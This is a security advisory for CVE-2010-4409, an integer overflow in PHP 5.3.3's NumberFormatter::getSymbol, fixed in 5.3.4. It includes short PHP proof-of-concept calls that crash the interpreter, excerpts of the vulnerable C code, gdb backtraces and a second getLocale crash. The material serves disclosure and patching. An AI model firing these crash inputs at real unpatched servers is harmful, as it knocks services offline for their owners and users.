PHP 5.3.3 NumberFormatter::getSymbol Integer Overflow

2010-12-12 / 2010-12-13
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-189


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ PHP 5.3.3 NumberFormatter::getSymbol Integer Overflow ] Author: Maksymilian Arciemowicz http://securityreason.com/ http://cxib.net/ Date: - - Dis.: 11.11.2010 - - Pub.: 10.12.2010 CERT: VU#479900 CVE: CVE-2010-4409 CWE: CWE-189 Status: Fixed in PHP 5.3.4 Affected Software: - - PHP 5.3.3 Original URL: http://securityreason.com/achievement_securityalert/91 - --- 0.Description --- Internationalization extension (further is referred as Intl) is a wrapper for ICU library, enabling PHP programmers to perform UCA-conformant collation and date/time/number/currency formatting in their scripts. Number Formatter: allows to display number according to the localized format or given pattern or set of rules, and to parse strings into numbers. - --- 1. PoC for Integer Overflow --- $nx=new NumberFormatter("pl",1); $nx->getSymbol(2147483648); - --- 2. PHP 5.3.3/5.2.14 NumberFormatter::getSymbol Integer Overflow --- As we can see in - --- PHP_FUNCTION( numfmt_get_symbol ) { long symbol; UChar value_buf[4]; UChar *value = value_buf; int length = USIZE(value); FORMATTER_METHOD_INIT_VARS; /* Parse parameters. */ if( zend_parse_method_parameters( ZEND_NUM_ARGS() TSRMLS_CC, getThis(), "Ol", &object, NumberFormatter_ce_ptr, &symbol ) == FAILURE ) { intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR, "numfmt_get_symbol: unable to parse input params", 0 TSRMLS_CC ); RETURN_FALSE; } /* Fetch the object. */ FORMATTER_METHOD_FETCH_OBJECT; length = unum_getSymbol(FORMATTER_OBJECT(nfo), symbol, value_buf, length, &INTL_DATA_ERROR_CODE(nfo)); <================= !!!TO BIG INT HERE!!! ... - --- will crash for differ value. example {2444492804, 2147483648, 2147483649, 2554462209} (when rdi out off band (range 2to31 2to32 under 64bits linux) Program received signal SIGSEGV, Segmentation fault. 0x00007fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42 (gdb) bt #0 0x00007fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42 #1 0x00007fffee5d11c0 in zif_numfmt_get_symbol (ht=17168120, return_value=0x105c928, return_value_ptr=0x4, this_ptr=0x105f710, return_value_used=17168144) at /build/buildd/php5-5.3.3/ext/intl/formatter/formatter_attr.c:269 ...blabla rip 0x7fffedf317f5 0x7fffedf317f5 <icu_4_2::UnicodeString::extract(unsigned short*, int, UErrorCode&) const+21> eflags 0x10206 [ PF IF RF ] let`s see value ~4294901761 $nx=new NumberFormatter("pl",1); $nx->getSymbol(4294901761); will crash in memcpy(3) ;] Program received signal SIGSEGV, Segmentation fault. memcpy () at ../sysdeps/x86_64/memcpy.S:90 90 ../sysdeps/x86_64/memcpy.S: No such file or directory. in ../sysdeps/x86_64/memcpy.S (gdb) bt #0 memcpy () at ../sysdeps/x86_64/memcpy.S:90 #1 0x00007fffea74a86a in icu_4_2::UnicodeString::extract(unsigned short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42 #2 0x00007fffeadea2b4 in zif_numfmt_get_symbol (ht=17826952, return_value=0x10fecd0, return_value_ptr=0xc, this_ptr=0x11004a0, return_value_used=17826976) at /build/buildd/php5-5.3.3/ext/intl/formatter/formatter_attr.c:274 #3 0x00000000006e986a in zend_do_fcall_common_helper_SPEC ( execute_data=0x7ffff7eb8068) at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316 ... let's see ICU UnicodeString::extract(unsigned short*, int, UErrorCode&) - --- int32_t UnicodeString::extract(UChar *dest, int32_t destCapacity, UErrorCode &errorCode) const { int32_t len = length(); if(U_SUCCESS(errorCode)) { if(isBogus() || destCapacity<0 || (destCapacity>0 && dest==0)) { errorCode=U_ILLEGAL_ARGUMENT_ERROR; } else { const UChar *array = getArrayStart(); if(len>0 && len<=destCapacity && array!=dest) { uprv_memcpy(dest, array, len*U_SIZEOF_UCHAR); <======= MEMCPY REFERENCE HERE } return u_terminateUChars(dest, destCapacity, len, &errorCode); } } return len; } - --- so crash in rip=memcpy(3). Method getLocal() also can generate simple crash (CWE-170) $nx=new IntlDateFormatter("pl", IntlDateFormatter::FULL, IntlDateFormatter::FULL); $nx->getLocale(1); - --- 3. Fix --- Fix in next PHP Version 5.3.4: http://www.kb.cert.org/vuls/id/479900 SVN: http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/intl/dateformat/dateformat_attr.c?view=log http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/intl/formatter/formatter_attr.c?view=log - --- 4. Greets --- Special thanks for Pierre Joye and Stas Malyshev for very quickly fix Michael Orlando for security support and sp3x, Infospec - --- 5. Contact --- Author: SecurityReason.com [ Maksymilian Arciemowicz ] Email: - - cxib {a\./t] securityreason [d=t} com GPG: - - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com/ http://cxib.net/ -----BEGIN PGP SIGNATURE----- iQIcBAEBAgAGBQJNAio1AAoJEIO8+dzW5bUwwxkP/AilUgATowi4jQiNIUcBBuD5 3Jvirho7YJMAK4k8EsbGXpPkZ1JmiuE+km3IUHdhkazBO3coUPRNvudZQoG2NbBa UteHQaMzGDPHXy9uR4izxhGHVcpnmpYKG9841OfNBIJ3/EDAn5nBKrNPtO+4brkh vcaglVL4McA+ww4iTbQ7mDLkwmwGsADH0JHrxrCRfB3IzkbaqIueNe//EaSzf9Zy 4AUUIOb98jGxGlNVgfEOK1odAQKW+WupyEtuPIy+SYh7ZAi+N/6a17yLcbfEAiWX WKEbSHG0QtleKhiRzEedahfsAzXgct5UB/Clyj5QZn+gsI/hFM+yBdsq9FH2Lnuu HG2JCbMlGrKNxH/vF8tz/kvh/cWF+czmHuisNC4H6XCUmljEV2OLmI9JtRL8qZcs pUAcAPVCFF9mGOIOrVbdc4Hku6O/nvXmq/gKashiMbN5SFos/cNh/LxMICHq/HI0 aS0TX2h+nplNSPQsx+65DSl8SMZyciU9dufcyRTnOIKWwLJfqlSmpwX/gxC1AXJm WVrjw6tGg8wB5iEru4Wl1D3DTlc57kGBFdStPflSooJO+1ZCiz8zfSt0RFLals2N P+lXJzhNox53cAARhbByqIWV+dR/Hrpsjp4ai1kgvgPwI78rJXWKsnEgc3dcntZf BW/ksdPomtWGWej1c4s4 =+/YF -----END PGP SIGNATURE-----

References:

http://www.kb.cert.org/vuls/id/479900
http://svn.php.net/viewvc?view=revision&revision=305571
http://svn.php.net/viewvc/php/php-src/trunk/ext/intl/formatter/formatter_attr.c?r1=305571&r2=305570&pathrev=305571
http://support.apple.com/kb/HT4581
http://lists.opensuse.org/opensuse-updates/2012-01/msg00035.html
http://lists.fedoraproject.org/pipermail/package-announce/2011-January/052845.html
http://lists.fedoraproject.org/pipermail/package-announce/2011-January/052836.html
http://lists.apple.com/archives/security-announce/2011/Mar/msg00006.html
http://www.php.net/ChangeLog-5.php
http://www.mandriva.com/security/advisories?name=MDVSA-2010:255
http://www.mandriva.com/security/advisories?name=MDVSA-2010:254


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